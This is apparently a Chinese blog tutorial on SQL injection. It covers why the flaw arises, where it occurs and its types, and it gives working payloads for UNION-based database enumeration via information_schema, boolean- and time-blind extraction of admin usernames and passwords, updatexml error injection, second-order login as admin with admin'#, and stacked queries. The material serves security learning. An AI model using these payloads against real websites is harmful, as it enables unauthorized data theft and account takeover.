web安全學習(sql注入1)
一.簡介
sql陳述句就是資料庫陳述句,而sql注入就是用戶將自己構造的惡意sql陳述句提交,然后服務器執行提交的危險陳述句,sql注入可能造成資訊泄露以及服務器被控制等危害,
二.產生原因(資料拼接)
大多數web應用或者web服務需要與資料庫進行互動,比如根據用戶輸入名字回傳相應的搜索結果,如果沒有對用戶的輸入進行無害處理,web應用程式對用戶輸入的資料的合法性判斷或者過濾不嚴格,用戶輸入資料與sql請求拼接,直接操作資料庫,那么就容易形成安全漏洞,
漏洞產生位置(用戶可以提交資料的地方) get post user-agent cookie x-forward-for
分類:聯合注入 報錯注入 時間盲注 布爾盲注 二次注入 增刪改注入
三.詳細介紹
1.mysql資料庫系統
該資料庫系統里面又包含以下幾個資料庫,第一個是自己創建的資料庫,存盤我們需要的資訊,第二個是performance_schema,這個里面存盤的是mysql資料庫的一些性能指標,一些引數資訊,sys是以一種更容易讓人理解的方式展示mysql資料庫的性能指標,sql注入經常使用的是這個information_schema 資料庫,這個是對于資料庫所有元資料資訊的一個視圖,因此可以很方便的瀏覽資料庫的全部資訊,然后information_schema這個資料庫中也存在很多表,比如schema表中的就是所有資料庫名稱,tables表中存盤的是所有的表資訊,包括這個表屬于哪個資料庫以及表的型別等等,columns存盤的是列資訊,USER_PRIVILEGES是用戶權限表,
2.具體的查詢思路
首先判斷是否存在注入點,基本的方法就是給可能存在注入點的引數傳值為單引號,如果存在sql注入那么頁面會出現sql相關的錯誤資訊,下面是個sql查詢的例子,$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 一般來說,報錯顯示near '''就是數字型注入,也就是傳入的引數沒有被引號閉合的,如果報錯資訊中有near "3'"包含數字那就是字符型注入,
3.在判斷出是否存在sql注入之后就可以進行下一步查詢操作,首先我們會用到聯合查詢,這樣可以查找其他資料庫或者其他表中的資料,而不是僅限于存在漏洞的引數所在的表,聯合查詢有一個要求就是前后的查詢結果的數量要一樣,比如"select username,email from member where id=$id"; 聯合查詢就是?id=1 union select 1,2,因為原本的結果有兩個資料,所以union select后面也跟著兩個資料,我們首先判斷資料庫名,陳述句為?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata,這里用到-1是為了只顯示我們需要查詢的后面的資料,后面的group_concat是為了將所有的資料庫名在同一個資料點顯示出來,起到連接的作用,得到了所有資料庫名我們就選其中一個去查詢表,陳述句為id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='exp',查列名,union select 1,group_concat(column_name) from information_schema.columns where table_name='exp' and table_schema='exp',在得到這些資訊后就可以查資料了,陳述句為select 列名,列名 from 資料庫名.表名,
任何用戶可以控制輸入并且和sql陳述句進行了拼接的地方都可能存在sql注入
4.無回顯
前面說到的聯合查詢是在頁面有回顯資訊,顯示你的查詢到的資訊的情況下可以使用,那如果頁面沒有回顯我們就會使用布爾盲注,時間盲注以及報錯注入,布爾盲注就是使用or陳述句進行猜測,猜對了和猜錯了的頁面顯示不同,時間盲注差不多,根據猜測的結果是否正確決定頁面回應的時間,猜長度:' or length(database()) > 8 --+ ,猜名字:'or ORD(mid(database(),1,1)) > 100 --+,猜表的數量'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ ,猜表名的長度'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+,運用limit進行限制,'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+,'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+,'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+,'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+,'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+,'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ,以上就是會使用到的盲注查詢陳述句,時間盲注就是用sleep函式以及if函式替換掉or函式,報錯就是頁面會顯示錯誤資訊,我們用updatexml函式,并且將徐要查詢的資訊作為引數傳給這個函式,
5.二次注入
我們為了防止sql注入攻擊有時會對資料進行轉義,比如輸入的是1',轉義后變成了1\',但是存入資料庫的還是原資料1',而我們在另一個位置再次將資料庫中的資料取出使用的時候取出的就是1'這個危險資料了,比如我們注冊一個用戶名稱為admin'#,雖然進行了轉義但存在資料庫的可能是原資料,我們在登陸的時候利用這個就能登錄admin的賬號,因為此時在登陸這個功能這里并未對特殊符號進行轉義,
6.堆疊注入
堆疊注入就是同時執行多條sql陳述句,因為我們在使用sql查詢的時候總是用分號把每條陳述句隔開,因此我們也可以像?id=1';select * from table;這樣來查詢,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/522914.html
標籤:其他
上一篇:Struts2-001淺析
下一篇:HTTPRunner
